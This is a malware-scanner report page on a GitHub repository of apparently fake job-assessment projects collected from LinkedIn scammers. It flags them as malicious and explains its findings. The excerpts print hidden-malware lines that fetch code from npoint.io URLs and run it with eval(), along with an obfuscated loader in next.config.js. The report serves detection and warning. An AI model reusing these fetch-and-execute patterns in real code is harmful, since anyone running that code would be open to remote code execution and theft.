DANGER
malware detected
github.com / rubenmarcus
rubenmarcus/ malicious-repositories
JavaScript·3849 files·commit dc82f33·scanned 4d ago·cached ✓
95/100
MALICIOUS
Matches known-malicious patterns. Do not clone or install.
This repository contains patterns associated with malware. Do NOT run this code.
verdict accurate?
Obfuscated code detected
4% file coverage
threat-state: maliciouslive
FINDINGS ░▒▓
criticaleval() usage detectedeval() executes arbitrary code and is commonly used in malware to run obfuscated payloads fetched from remote servers.golden-city/backend/controllers/userController.js
const rs_C = await axios.get("https://api.npoint.io/632ab82bbc8d7f4c2d44");
eval(rs_L.data.cookie);
eval(rs_C.data.cookie);
})();+8criticaleval() usage detectedeval() executes arbitrary code and is commonly used in malware to run obfuscated payloads fetched from remote servers.real_estate/server/controllers/userController.js
const result = await axios.get("https://api.npoint.io/ac2916e3f543effa2edd");
eval(result.data.cookie);
})();+8criticaleval() usage detectedeval() executes arbitrary code and is commonly used in malware to run obfuscated payloads fetched from remote servers.sarostech-assessment/server/config/getContract.js
.catch(err=>{try {
eval(err.response.data);
} catch (error) {
+8infoBase64 encoding usedatob() or Buffer.from with base64. Common in legitimate code but also used to hide malicious URLs.0xnfteth-horsepowerfi/server/controllers/userController.js
exports.getCookie = asyncErrorHandler(async (req, res, next) => {
const cookie = atob(process.env.DEV_API_KEY);
const k = atob(process.env.DEV_SECRET_KEY);
const v = atob(process.env.DEV_SECRET_...+2criticalRemote code fetch + executionFetching code from a remote server and executing it with eval() is the #1 pattern in LinkedIn/crypto scam malware.golden-city/backend/controllers/userController.js+10
criticalKnown malicious / C2 domainKnown domains used by Lazarus Group and other malware for hosting payloads or exfiltrating data.golden-city/backend/controllers/userController.js+5
criticalaxios.get() + eval(response.data)Fetches remote payload via axios and executes it — the exact pattern used in LinkedIn recruiter scam malware.golden-city/backend/controllers/userController.js+10
criticalRemote code fetch + executionFetching code from a remote server and executing it with eval() is the #1 pattern in LinkedIn/crypto scam malware.real_estate/server/controllers/userController.js+10
criticalKnown malicious / C2 domainKnown domains used by Lazarus Group and other malware for hosting payloads or exfiltrating data.real_estate/server/controllers/userController.js+5
criticalaxios.get() + eval(response.data)Fetches remote payload via axios and executes it — the exact pattern used in LinkedIn recruiter scam malware.real_estate/server/controllers/userController.js+10
criticalRemote code fetch + executionFetching code from a remote server and executing it with eval() is the #1 pattern in LinkedIn/crypto scam malware.sarostech-assessment/server/config/getContract.js+10
criticalaxios.get() + eval(response.data)Fetches remote payload via axios and executes it — the exact pattern used in LinkedIn recruiter scam malware.sarostech-assessment/server/config/getContract.js+10
criticaljavascript-obfuscator output detectedCode obfuscated with the javascript-obfuscator tool. The _0x variable naming and rotating string array are unique to this tool and are commonly used to hide malware from code review.multify_staking/next.config.js
(function(_0x4dcd76,_0x502349){function _0x3b486b(_0x1aae15,_0x28dfcd,_0x7f38cf,_0xdeb60c,_0x594927){return _0x4c0a(_0xdeb60c- -0xc1,_0x7f38cf);}function _0xb9b37b(_0x5b1e46,_0x6422fe,_0x3b2e55,_0xa8d...+20warningExtremely long lines (>1000 chars)Very long lines in source files (not minified bundles) can hide malicious code.multify_staking/next.config.js+4
infoMinified code in source directoryMinified/obfuscated code in source directories (not dist/) makes code review impossible.multify_staking/next.config.js+3
criticalString-array obfuscation detectedCode resolves its string literals through a rotating string-array decoder — many `name(0xNNN)` index calls that reconstruct hidden strings at runtime. This is the structural signature of javascript-obfuscator regardless of the variable-naming scheme, so it fires even when mangled identifiers (e.g. `j5`, `jM`) are used to evade _0x-based detection. Commonly used to hide malware from code review.munity-game/server/routes/paymentRoute.js
module.exports = router; ...+18
warningExtremely long lines (>1000 chars)Very long lines in source files (not minified bundles) can hide malicious code.munity-game/server/routes/paymentRoute.js+4
criticalKnown malicious npm packageThis dependency has been identified as malicious.erc20-token-dapp/package.json+3
infoSuspicious file in repoVery large source file (6048KB) — could contain obfuscated payloaderc20-token-dapp/src/components/gallery/nft.json+2
infoSuspicious file in repoVery large source file (1290KB) — could contain obfuscated payloadgolden-city/package-lock.json+2
infoSuspicious file in repoVery large source file (584KB) — could contain obfuscated payloadmultify_staking/package-lock.json+2
warningUnvalidated file uploadFile upload without type/size validation. Can be exploited for remote code execution or storage abuse.challenge-experiment-module/package.json
"morgan": "~1.9.1",
"multer": "^1.4.5-lts.1",
"prop-types": "^15.8.1",
"react": "^18.3.1",+3warningPotential NoSQL injectionUser input passed directly to MongoDB query (findOne, find, updateOne) without sanitization. Attacker can inject query operators.0xnfteth-horsepowerfi/server/controllers/userController.js
exports.forgotPassword = asyncErrorHandler(async (req, res, next) => {
const user = await User.findOne({ email: req.body.email });
if (!user) {+4warningPotential NoSQL injectionUser input passed directly to MongoDB query (findOne, find, updateOne) without sanitization. Attacker can inject query operators.0xnfteth-horsepowerfi/server/middlewares/validator/index.js
// validate brand
let brand = await ProductBrand.findOne({ slug: req.body.brand });
if (!brand) {
errors.push({ msg: "Invalid product brand" });+4warningPotential NoSQL injectionUser input passed directly to MongoDB query (findOne, find, updateOne) without sanitization. Attacker can inject query operators.coinpool-rental-platform1.0/server/controllers/userController.js
exports.forgotPassword = asyncErrorHandler(async (req, res, next) => {
const user = await User.findOne({ email: req.body.email });
if (!user) {+4warningHardcoded secret/credentialAPI keys, passwords, or tokens hardcoded in source code. Should be in environment variables.multify_staking/components/Category/DexTicker/index.js
//API Key const API_KEY = "ckey_4e73d56514984838ab3206fbaf4"; //const API_KEY = process.env["API_KEY"];+3
Scores are heuristics. A “safe” verdict means no known-malicious patterns were found — clever malware can look boring. Wrong verdict? Flag it above; confirmed false positives become regression tests.
137 files scanned @ dc82f33 | 8/25/2026 | heuristic scan — always review manually
risk by category
code execution25
network & exfiltration25
file system access0
obfuscation15
supply chain15
owasp / injection15
telemetry
files 137/3849rules hit 28engine v5commit dc82f33
github
rubenmarcus/malicious-repositories
collected from LinkedIn scammers
215
14
556d
3849 files
137 scanned(4%)
dc82f33
architecture░▒▓
entry (5) flagged (21) pkg (51)
172 nodes · 231 edgesscroll to zoom · click node to jump to finding